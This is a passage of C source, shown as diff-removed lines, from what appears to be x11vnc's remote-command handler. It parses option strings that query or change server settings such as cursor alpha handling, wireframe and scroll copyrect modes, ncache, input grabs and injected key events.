- p += strlen("xd_area:");
- a = atoi(p);
- if (a >= 0) {
- rfbLog("remote_cmd: setting xdamage_max_area "
- "%d -> %d.\n", xdamage_max_area, a);
- xdamage_max_area = a;
- }
- goto done;
- }
- if (strstr(p, "xd_mem") == p) {
- double a;
- COLON_CHECK("xd_mem:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%.3f", p, co,
- xdamage_memory);
- goto qry;
- }
- p += strlen("xd_mem:");
- a = atof(p);
- if (a >= 0.0) {
- rfbLog("remote_cmd: setting xdamage_memory "
- "%.3f -> %.3f.\n", xdamage_memory, a);
- xdamage_memory = a;
- }
- goto done;
- }
- if (strstr(p, "alphacut") == p) {
- int a;
- COLON_CHECK("alphacut:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- alpha_threshold);
- goto qry;
- }
- p += strlen("alphacut:");
- a = atoi(p);
- if (a < 0) a = 0;
- if (a > 256) a = 256; /* allow 256 for testing. */
- if (alpha_threshold != a) {
- rfbLog("remote_cmd: setting alphacut "
- "%d -> %d.\n", alpha_threshold, a);
- if (a == 256) {
- rfbLog("note: alphacut=256 leads to completely"
- " transparent cursors.\n");
- }
- alpha_threshold = a;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "alphafrac") == p) {
- double a;
- COLON_CHECK("alphafrac:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%f", p, co,
- alpha_frac);
- goto qry;
- }
- p += strlen("alphafrac:");
- a = atof(p);
- if (a < 0.0) a = 0.0;
- if (a > 1.0) a = 1.0;
- if (alpha_frac != a) {
- rfbLog("remote_cmd: setting alphafrac "
- "%f -> %f.\n", alpha_frac, a);
- alpha_frac = a;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "alpharemove") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, alpha_remove);
- goto qry;
- }
- if (!alpha_remove) {
- rfbLog("remote_cmd: enable alpharemove\n");
- alpha_remove = 1;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "noalpharemove") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !alpha_remove);
- goto qry;
- }
- if (alpha_remove) {
- rfbLog("remote_cmd: disable alpharemove\n");
- alpha_remove = 0;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "alphablend") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, alpha_blend);
- goto qry;
- }
- if (!alpha_blend) {
- rfbLog("remote_cmd: enable alphablend\n");
- alpha_remove = 0;
- alpha_blend = 1;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "noalphablend") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !alpha_blend);
- goto qry;
- }
- if (alpha_blend) {
- rfbLog("remote_cmd: disable alphablend\n");
- alpha_blend = 0;
- setup_cursors_and_push();
- }
- goto done;
- }
- if (strstr(p, "xwarppointer") == p || strstr(p, "xwarp") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_xwarppointer);
- goto qry;
- }
- rfbLog("remote_cmd: turning on xwarppointer mode.\n");
- use_xwarppointer = 1;
- goto done;
- }
- if (strstr(p, "noxwarppointer") == p ||
- strstr(p, "noxwarp") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_xwarppointer);
- goto qry;
- }
- rfbLog("remote_cmd: turning off xwarppointer mode.\n");
- use_xwarppointer = 0;
- goto done;
- }
- if (strstr(p, "always_inject") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, always_inject);
- goto qry;
- }
- rfbLog("remote_cmd: turning on always_inject mode.\n");
- always_inject = 1;
- goto done;
- }
- if (strstr(p, "noalways_inject") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !always_inject);
- goto qry;
- }
- rfbLog("remote_cmd: turning off always_inject mode.\n");
- always_inject = 0;
- goto done;
- }
- if (strstr(p, "buttonmap") == p) {
- COLON_CHECK("buttonmap:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(pointer_remap));
- goto qry;
- }
- p += strlen("buttonmap:");
- if (pointer_remap) free(pointer_remap);
- pointer_remap = strdup(p);
-
- rfbLog("remote_cmd: setting -buttonmap to:\n\t'%s'\n", p);
- initialize_pointer_map(p);
- goto done;
- }
- if (!strcmp(p, "dragging")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, show_dragging);
- goto qry;
- }
- rfbLog("remote_cmd: enabling mouse dragging mode.\n");
- show_dragging = 1;
- goto done;
- }
- if (!strcmp(p, "nodragging")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !show_dragging);
- goto qry;
- }
- rfbLog("remote_cmd: enabling mouse nodragging mode.\n");
- show_dragging = 0;
- goto done;
- }
-#ifndef NO_NCACHE
- if (!strcmp(p, "ncache_cr")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_copyrect);
- goto qry;
- }
- ncache_copyrect = 1;
- rfbLog("remote_cmd: set -ncache_cr %d\n", ncache_copyrect);
- goto done;
- }
- if (!strcmp(p, "noncache_cr")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_copyrect);
- goto qry;
- }
- ncache_copyrect = 0;
- rfbLog("remote_cmd: disabled -ncache_cr %d\n", ncache_copyrect);
-
- goto done;
- }
- if (!strcmp(p, "ncache_no_moveraise")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_wf_raises);
- goto qry;
- }
- ncache_wf_raises = 0;
- rfbLog("remote_cmd: set -ncache_no_moveraise\n");
- goto done;
- }
- if (!strcmp(p, "noncache_no_moveraise")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_wf_raises);
- goto qry;
- }
- ncache_wf_raises = 1;
- rfbLog("remote_cmd: disabled -ncache_no_moveraise\n");
- goto done;
- }
- if (!strcmp(p, "ncache_no_dtchange")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_dt_change);
- goto qry;
- }
- ncache_dt_change = 0;
- rfbLog("remote_cmd: set -ncache_no_dt_change\n");
- goto done;
- }
- if (!strcmp(p, "noncache_no_dtchange")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_dt_change);
- goto qry;
- }
- ncache_dt_change = 1;
- rfbLog("remote_cmd: disabled -ncache_no_dt_change\n");
- goto done;
- }
- if (!strcmp(p, "ncache_no_rootpixmap")) {
- int orig = ncache_xrootpmap;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_xrootpmap);
- goto qry;
- }
- ncache_xrootpmap = 0;
- rfbLog("remote_cmd: set -ncache_no_rootpixmap\n");
- if (orig != ncache_xrootpmap) {
- do_new_fb(1);
- }
- goto done;
- }
- if (!strcmp(p, "noncache_no_rootpixmap")) {
- int orig = ncache_xrootpmap;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_xrootpmap);
- goto qry;
- }
- ncache_xrootpmap = 1;
- rfbLog("remote_cmd: disabled -ncache_no_rootpixmap\n");
- if (orig != ncache_xrootpmap) {
- do_new_fb(1);
- }
- goto done;
- }
- if (!strcmp(p, "ncache_reset_rootpixmap") || !strcmp(p, "ncrp")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_xrootpmap);
- goto qry;
- }
- if (ncache_xrootpmap) {
- rfbLog("remote_cmd: resetting root pixmap.\n");
- set_ncache_xrootpmap();
- }
- goto done;
- }
- if (!strcmp(p, "ncache_keep_anims")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_keep_anims);
- goto qry;
- }
- kde_no_animate(0);
- ncache_keep_anims = 1;
- rfbLog("remote_cmd: set -ncache_keep_anims\n");
- goto done;
- }
- if (!strcmp(p, "noncache_keep_anims")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_keep_anims);
- goto qry;
- }
- ncache_keep_anims = 0;
- kde_no_animate(1);
- rfbLog("remote_cmd: disabled -ncache_keep_anims\n");
- goto done;
- }
- if (!strcmp(p, "ncache_old_wm")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncache_old_wm);
- goto qry;
- }
- ncache_old_wm = 1;
- rfbLog("remote_cmd: set -ncache_old_wm\n");
- goto done;
- }
- if (!strcmp(p, "noncache_old_wm")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache_old_wm);
- goto qry;
- }
- ncache_old_wm = 0;
- rfbLog("remote_cmd: disabled -ncache_old_wm\n");
- goto done;
- }
- if (strstr(p, "ncache_pad") == p) {
- int orig = ncache_pad, n;
- COLON_CHECK("ncache_pad:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, ncache_pad);
- goto qry;
- }
- p += strlen("ncache_pad:");
- n = atoi(p);
-
- rfbLog("remote_cmd: setting ncache_pad %d to: %d\n", orig, n);
- goto done;
- }
- if (!strcmp(p, "ncache")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !!ncache);
- goto qry;
- }
- ncache = ncache0;
- rfbLog("remote_cmd: set ncache %d\n", ncache);
- goto done;
- }
- if (!strcmp(p, "noncache")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncache);
- goto qry;
- }
- ncache = 0;
- rfbLog("remote_cmd: disabled ncache %d\n", ncache);
- goto done;
- }
- if (strstr(p, "ncache_size") == p) {
- int orig = ncache, n;
- COLON_CHECK("ncache_size:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, ncache);
- goto qry;
- }
- p += strlen("ncache_size:");
- n = atoi(p);
-
- if (n >= 0 && n != ncache) {
- rfbLog("remote_cmd: setting ncache %d to: %d\n", orig, ncache);
- ncache = n;
- do_new_fb(1);
- if (client_count) {
- check_ncache(1,0);
- }
- }
- goto done;
- }
- if (!strcmp(p, "debug_ncache")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ncdb);
- goto qry;
- }
- ncdb = 1;
- rfbLog("remote_cmd: enabled debug_ncache\n");
- goto done;
- }
- if (!strcmp(p, "nodebug_ncache")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ncdb);
- goto qry;
- }
- ncdb = 0;
- rfbLog("remote_cmd: disabled debug_ncache\n");
- goto done;
- }
-#endif
- if (strstr(p, "wireframe_mode") == p) {
- COLON_CHECK("wireframe_mode:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- wireframe_str ? wireframe_str : WIREFRAME_PARMS);
- goto qry;
- }
- p += strlen("wireframe_mode:");
- if (*p) {
- if (wireframe_str) {
- free(wireframe_str);
- }
- wireframe_str = strdup(p);
- parse_wireframe();
- }
- rfbLog("remote_cmd: enabling -wireframe mode.\n");
- wireframe = 1;
- goto done;
- }
- if (strstr(p, "wireframe:") == p) { /* skip-cmd-list */
- COLON_CHECK("wireframe:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, wireframe);
- goto qry;
- }
- p += strlen("wireframe:");
- if (*p) {
- if (wireframe_str) {
- free(wireframe_str);
- }
- wireframe_str = strdup(p);
- parse_wireframe();
- }
- rfbLog("remote_cmd: enabling -wireframe mode.\n");
- wireframe = 1;
- goto done;
- }
- if (strstr(p, "wf:") == p) { /* skip-cmd-list */
- COLON_CHECK("wf:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, wireframe);
- goto qry;
- }
- p += strlen("wf:");
- if (*p) {
- if (wireframe_str) {
- free(wireframe_str);
- }
- wireframe_str = strdup(p);
- parse_wireframe();
- }
- rfbLog("remote_cmd: enabling -wireframe mode.\n");
- wireframe = 1;
- goto done;
- }
- if (!strcmp(p, "wireframe") || !strcmp(p, "wf")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, wireframe);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -wireframe mode.\n");
- wireframe = 1;
- goto done;
- }
- if (!strcmp(p, "nowireframe") || !strcmp(p, "nowf")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !wireframe);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -nowireframe mode.\n");
- wireframe = 0;
- goto done;
- }
- if (!strcmp(p, "wireframelocal") || !strcmp(p, "wfl")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, wireframe_local);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -wireframelocal mode.\n");
- wireframe_local = 1;
- goto done;
- }
- if (!strcmp(p, "nowireframelocal") || !strcmp(p, "nowfl")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !wireframe_local);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -nowireframelocal mode.\n");
- wireframe_local = 0;
- goto done;
- }
- if (strstr(p, "wirecopyrect") == p) {
- COLON_CHECK("wirecopyrect:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(wireframe_copyrect));
- goto qry;
- }
- p += strlen("wirecopyrect:");
-
- set_wirecopyrect_mode(p);
- rfbLog("remote_cmd: changed -wirecopyrect mode "
- "to: %s\n", NONUL(wireframe_copyrect));
- got_wirecopyrect = 1;
- goto done;
- }
- if (strstr(p, "wcr") == p) {
- COLON_CHECK("wcr:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(wireframe_copyrect));
- goto qry;
- }
- p += strlen("wcr:");
-
- set_wirecopyrect_mode(p);
- rfbLog("remote_cmd: changed -wirecopyrect mode "
- "to: %s\n", NONUL(wireframe_copyrect));
- got_wirecopyrect = 1;
- goto done;
- }
- if (!strcmp(p, "nowirecopyrect") || !strcmp(p, "nowcr")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%s", p,
- NONUL(wireframe_copyrect));
- goto qry;
- }
-
- set_wirecopyrect_mode("never");
- rfbLog("remote_cmd: changed -wirecopyrect mode "
- "to: %s\n", NONUL(wireframe_copyrect));
- goto done;
- }
- if (strstr(p, "scr_area") == p) {
- COLON_CHECK("scr_area:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- scrollcopyrect_min_area);
- goto qry;
- }
- p += strlen("scr_area:");
-
- scrollcopyrect_min_area = atoi(p);
- rfbLog("remote_cmd: changed -scr_area to: %d\n",
- scrollcopyrect_min_area);
- goto done;
- }
- if (strstr(p, "scr_skip") == p) {
- char *s = scroll_skip_str;
- COLON_CHECK("scr_skip:")
- if (!s || *s == '\0') s = scroll_skip_str0;
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co, NONUL(s));
- goto qry;
- }
- p += strlen("scr_skip:");
- if (scroll_skip_str) {
- free(scroll_skip_str);
- }
-
- scroll_skip_str = strdup(p);
- rfbLog("remote_cmd: changed -scr_skip to: %s\n",
- scroll_skip_str);
- initialize_scroll_matches();
- goto done;
- }
- if (strstr(p, "scr_inc") == p) {
- char *s = scroll_good_str;
- if (!s || *s == '\0') s = scroll_good_str0;
- COLON_CHECK("scr_inc:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co, NONUL(s));
- goto qry;
- }
- p += strlen("scr_inc:");
- if (scroll_good_str) {
- free(scroll_good_str);
- }
-
- scroll_good_str = strdup(p);
- rfbLog("remote_cmd: changed -scr_inc to: %s\n",
- scroll_good_str);
- initialize_scroll_matches();
- goto done;
- }
- if (strstr(p, "scr_keys") == p) {
- COLON_CHECK("scr_keys:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(scroll_key_list_str));
- goto qry;
- }
- p += strlen("scr_keys:");
- if (scroll_key_list_str) {
- free(scroll_key_list_str);
- }
-
- scroll_key_list_str = strdup(p);
- rfbLog("remote_cmd: changed -scr_keys to: %s\n",
- scroll_key_list_str);
- initialize_scroll_keys();
- goto done;
- }
- if (strstr(p, "scr_term") == p) {
- char *s = scroll_term_str;
- if (!s || *s == '\0') s = scroll_term_str0;
- COLON_CHECK("scr_term:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co, NONUL(s));
- goto qry;
- }
- p += strlen("scr_term:");
- if (scroll_term_str) {
- free(scroll_term_str);
- }
-
- scroll_term_str = strdup(p);
- rfbLog("remote_cmd: changed -scr_term to: %s\n",
- scroll_term_str);
- initialize_scroll_term();
- goto done;
- }
- if (strstr(p, "scr_keyrepeat") == p) {
- char *s = max_keyrepeat_str;
- if (!s || *s == '\0') s = max_keyrepeat_str0;
- COLON_CHECK("scr_keyrepeat:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co, NONUL(s));
- goto qry;
- }
- p += strlen("scr_keyrepeat:");
- if (max_keyrepeat_str) {
- free(max_keyrepeat_str);
- }
-
- max_keyrepeat_str = strdup(p);
- rfbLog("remote_cmd: changed -scr_keyrepeat to: %s\n",
- max_keyrepeat_str);
- initialize_max_keyrepeat();
- goto done;
- }
- if (strstr(p, "scr_parms") == p) {
- COLON_CHECK("scr_parms:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- scroll_copyrect_str ? scroll_copyrect_str
- : SCROLL_COPYRECT_PARMS);
- goto qry;
- }
- p += strlen("scr_parms:");
- if (*p) {
- if (scroll_copyrect_str) {
- free(scroll_copyrect_str);
- }
- set_scrollcopyrect_mode("always");
- scroll_copyrect_str = strdup(p);
- parse_scroll_copyrect();
- }
- rfbLog("remote_cmd: set -scr_parms %s.\n",
- NONUL(scroll_copyrect_str));
- got_scrollcopyrect = 1;
- goto done;
- }
- if (strstr(p, "scrollcopyrect") == p) {
- COLON_CHECK("scrollcopyrect:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(scroll_copyrect));
- goto qry;
- }
- p += strlen("scrollcopyrect:");
-
- set_scrollcopyrect_mode(p);
- rfbLog("remote_cmd: changed -scrollcopyrect mode "
- "to: %s\n", NONUL(scroll_copyrect));
- got_scrollcopyrect = 1;
- goto done;
- }
- if (!strcmp(p, "scr") ||
- strstr(p, "scr:") == p) { /* skip-cmd-list */
- COLON_CHECK("scr:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(scroll_copyrect));
- goto qry;
- }
- p += strlen("scr:");
-
- set_scrollcopyrect_mode(p);
- rfbLog("remote_cmd: changed -scrollcopyrect mode "
- "to: %s\n", NONUL(scroll_copyrect));
- got_scrollcopyrect = 1;
- goto done;
- }
- if (!strcmp(p, "noscrollcopyrect") || !strcmp(p, "noscr")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%s", p,
- NONUL(scroll_copyrect));
- goto qry;
- }
-
- set_scrollcopyrect_mode("never");
- rfbLog("remote_cmd: changed -scrollcopyrect mode "
- "to: %s\n", NONUL(scroll_copyrect));
- goto done;
- }
- if (strstr(p, "fixscreen") == p) {
- COLON_CHECK("fixscreen:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(screen_fixup_str));
- goto qry;
- }
- p += strlen("fixscreen:");
- if (screen_fixup_str) {
- free(screen_fixup_str);
- }
- screen_fixup_str = strdup(p);
- parse_fixscreen();
- rfbLog("remote_cmd: set -fixscreen %s.\n",
- NONUL(screen_fixup_str));
- goto done;
- }
- if (!strcmp(p, "noxrecord")) {
- int orig = noxrecord;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, noxrecord);
- goto qry;
- }
- noxrecord = 1;
- rfbLog("set noxrecord to: %d\n", noxrecord);
- if (orig != noxrecord) {
- shutdown_xrecord();
- }
- goto done;
- }
- if (!strcmp(p, "xrecord")) {
- int orig = noxrecord;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !noxrecord);
- goto qry;
- }
- noxrecord = 0;
- rfbLog("set noxrecord to: %d\n", noxrecord);
- if (orig != noxrecord) {
- initialize_xrecord();
- }
- goto done;
- }
- if (!strcmp(p, "reset_record")) {
- NOTAPP
- if (use_xrecord) {
- rfbLog("resetting RECORD\n");
- check_xrecord_reset(1);
- } else {
- rfbLog("RECORD is disabled, not resetting.\n");
- }
- goto done;
- }
- if (strstr(p, "pointer_mode") == p) {
- int pm;
- COLON_CHECK("pointer_mode:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, pointer_mode);
- goto qry;
- }
- p += strlen("pointer_mode:");
- pm = atoi(p);
- if (pm < 0 || pm > pointer_mode_max) {
- rfbLog("remote_cmd: pointer_mode out of range:"
- " 1-%d: %d\n", pointer_mode_max, pm);
- } else {
- rfbLog("remote_cmd: setting pointer_mode %d\n", pm);
- pointer_mode = pm;
- }
- goto done;
- }
- if (strstr(p, "pm") == p) {
- int pm;
- COLON_CHECK("pm:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, pointer_mode);
- goto qry;
- }
- p += strlen("pm:");
- pm = atoi(p);
- if (pm < 0 || pm > pointer_mode_max) {
- rfbLog("remote_cmd: pointer_mode out of range:"
- " 1-%d: %d\n", pointer_mode_max, pm);
- } else {
- rfbLog("remote_cmd: setting pointer_mode %d\n", pm);
- pointer_mode = pm;
- }
- goto done;
- }
- if (strstr(p, "input_skip") == p) {
- int is;
- COLON_CHECK("input_skip:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, ui_skip);
- goto qry;
- }
- p += strlen("input_skip:");
- is = atoi(p);
- rfbLog("remote_cmd: setting input_skip %d\n", is);
- ui_skip = is;
- goto done;
- }
- if (!strcmp(p, "allinput")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, all_input);
- goto qry;
- }
- all_input = 1;
- rfbLog("enabled allinput\n");
- if (handle_events_eagerly) {
- rfbLog("disabled input_eagerly\n");
- handle_events_eagerly = 0;
- }
- goto done;
- }
- if (!strcmp(p, "noallinput")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !all_input);
- goto qry;
- }
- all_input = 0;
- rfbLog("disabled allinput\n");
- goto done;
- }
- if (!strcmp(p, "input_eagerly")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, handle_events_eagerly);
- goto qry;
- }
- handle_events_eagerly = 1;
- rfbLog("enabled input_eagerly\n");
- if (all_input) {
- rfbLog("disabled allinput\n");
- all_input = 0;
- }
- goto done;
- }
- if (!strcmp(p, "noinput_eagerly")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !handle_events_eagerly);
- goto qry;
- }
- handle_events_eagerly = 0;
- rfbLog("disabled input_eagerly\n");
- goto done;
- }
- if (strstr(p, "input") == p) {
- int doit = 1;
- COLON_CHECK("input:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(allowed_input_str));
- goto qry;
- }
- p += strlen("input:");
- if (allowed_input_str && !strcmp(p, allowed_input_str)) { /* skip-cmd-list */
- doit = 0;
- }
- rfbLog("remote_cmd: setting input %s\n", p);
- if (allowed_input_str) free(allowed_input_str);
- if (*p == '\0') {
- allowed_input_str = NULL;
- } else {
- allowed_input_str = strdup(p);
- }
- if (doit) {
- initialize_allowed_input();
- }
- goto done;
- }
- if (!strcmp(p, "grabkbd")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, grab_kbd);
- goto qry;
- }
- grab_kbd = 1;
- if (grab_always) {
- adjust_grabs(1, 0);
- }
- rfbLog("enabled grab_kbd\n");
- goto done;
- }
- if (!strcmp(p, "nograbkbd")) {
- int orig = grab_kbd;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !grab_kbd);
- goto qry;
- }
- grab_kbd = 0;
- if (orig && dpy) {
-#if !NO_X11
- X_LOCK;
- XUngrabKeyboard(dpy, CurrentTime);
- X_UNLOCK;
-#endif
- }
- rfbLog("disabled grab_kbd\n");
-
- goto done;
- }
- if (!strcmp(p, "grabptr")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, grab_ptr);
- goto qry;
- }
- grab_ptr = 1;
- if (grab_always) {
- adjust_grabs(1, 0);
- }
- rfbLog("enabled grab_ptr\n");
- goto done;
- }
- if (!strcmp(p, "ungrabboth")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ungrab_both);
- goto qry;
- }
- ungrab_both = 1;
- rfbLog("enabled ungrab_both\n");
- goto done;
- }
- if (!strcmp(p, "noungrabboth")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ungrab_both);
- goto qry;
- }
- ungrab_both = 0;
- rfbLog("disabled ungrab_both\n");
- goto done;
- }
- if (!strcmp(p, "nograbptr")) {
- int orig = grab_ptr;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !grab_ptr);
- goto qry;
- }
- grab_ptr = 0;
- if (orig && dpy) {
-#if !NO_X11
- X_LOCK;
- XUngrabPointer(dpy, CurrentTime);
- X_UNLOCK;
-#endif
- }
- rfbLog("disabled grab_ptr\n");
- goto done;
- }
- if (!strcmp(p, "grabalways")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, grab_always);
- goto qry;
- }
- grab_ptr = 1;
- grab_kbd = 1;
- grab_always = 1;
- adjust_grabs(1, 0);
- rfbLog("enabled grab_always\n");
- goto done;
- }
- if (!strcmp(p, "nograbalways")) {
- int orig = grab_always;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !grab_always);
- goto qry;
- }
- grab_ptr = 0;
- grab_kbd = 0;
- grab_always = 0;
- if (orig && dpy) {
-#if !NO_X11
- X_LOCK;
- XUngrabKeyboard(dpy, CurrentTime);
- XUngrabPointer(dpy, CurrentTime);
- X_UNLOCK;
-#endif
- }
- adjust_grabs(0, 0);
- rfbLog("disabled grab_always\n");
- goto done;
- }
- if (strstr(p, "grablocal") == p) {
- COLON_CHECK("grablocal:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- grab_local);
- goto qry;
- }
- p += strlen("grablocal:");
-
- grab_local = atoi(p);
- rfbLog("remote_cmd: changed -grablocal to: %d\n",
- grab_local);
- goto done;
- }
- if (strstr(p, "client_input") == p) {
- NOTAPP
- COLON_CHECK("client_input:")
- p += strlen("client_input:");
- set_client_input(p);
- goto done;
- }
- if (strstr(p, "ssltimeout") == p) {
- int is;
- COLON_CHECK("ssltimeout:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- ssl_timeout_secs);
- goto qry;
- }
- p += strlen("ssltimeout:");
- is = atoi(p);
- rfbLog("remote_cmd: setting ssltimeout: %d\n", is);
- ssl_timeout_secs = is;
- goto done;
- }
- if (strstr(p, "speeds") == p) {
- COLON_CHECK("speeds:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(speeds_str));
- goto qry;
- }
- p += strlen("speeds:");
- if (speeds_str) free(speeds_str);
- speeds_str = strdup(p);
-
- rfbLog("remote_cmd: setting -speeds to:\n\t'%s'\n", p);
- initialize_speeds();
- goto done;
- }
- if (strstr(p, "wmdt") == p) {
- COLON_CHECK("wmdt:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(wmdt_str));
- goto qry;
- }
- p += strlen("wmdt:");
- if (wmdt_str) free(wmdt_str);
- wmdt_str = strdup(p);
-
- rfbLog("remote_cmd: setting -wmdt to: %s\n", p);
- goto done;
- }
- if (!strcmp(p, "debug_pointer") || !strcmp(p, "dp")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_pointer);
- goto qry;
- }
- rfbLog("remote_cmd: turning on debug_pointer.\n");
- debug_pointer = 1;
- goto done;
- }
- if (!strcmp(p, "nodebug_pointer") || !strcmp(p, "nodp")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_pointer);
- goto qry;
- }
- rfbLog("remote_cmd: turning off debug_pointer.\n");
- debug_pointer = 0;
- goto done;
- }
- if (!strcmp(p, "debug_keyboard") || !strcmp(p, "dk")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_keyboard);
- goto qry;
- }
- rfbLog("remote_cmd: turning on debug_keyboard.\n");
- debug_keyboard = 1;
- goto done;
- }
- if (!strcmp(p, "nodebug_keyboard") || !strcmp(p, "nodk")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_keyboard);
- goto qry;
- }
- rfbLog("remote_cmd: turning off debug_keyboard.\n");
- debug_keyboard = 0;
- goto done;
- }
- if (strstr(p, "keycode") == p) {
- int kc, down = -1;
- char *c;
- NOTAPP
- COLON_CHECK("keycode:")
- p += strlen("keycode:");
- kc = atoi(p);
- if (kc < 0) kc = 0;
- kc = kc % 256;
- c = strchr(p, ',');
- if (c) down = atoi(c+1);
- rfbLog("remote_cmd: insert keycode %d down=%d\n", kc, down);
-
- if (macosx_console) {
-#ifdef MACOSX
- if (down == -1) {
- macosxCG_keycode_inject(1, kc);
- usleep(50*1000);
- macosxCG_keycode_inject(0, kc);
- } else {
- macosxCG_keycode_inject(down, kc);
- }
-#endif
- } else {
- X_LOCK;
- if (down == -1) {
- XTestFakeKeyEvent_wr(dpy, kc, 1, CurrentTime);
- usleep(50*1000);
- XTestFakeKeyEvent_wr(dpy, kc, 0, CurrentTime);
- } else {
- XTestFakeKeyEvent_wr(dpy, kc, down, CurrentTime);
- }
- XFlush_wr(dpy);
- X_UNLOCK;
- }
- goto done;
- }
- if (strstr(p, "keysym") == p) {
- int down = -1;
- unsigned int in;
- KeySym ks;
- char *c, *str;
- NOTAPP
- COLON_CHECK("keysym:")
- p += strlen("keysym:");
-
- c = strchr(p, ',');
- if (c) {
- down = atoi(c+1);
- *c = '\0';
- }
-
- if (sscanf(p, "0x%x", &in) == 1) {
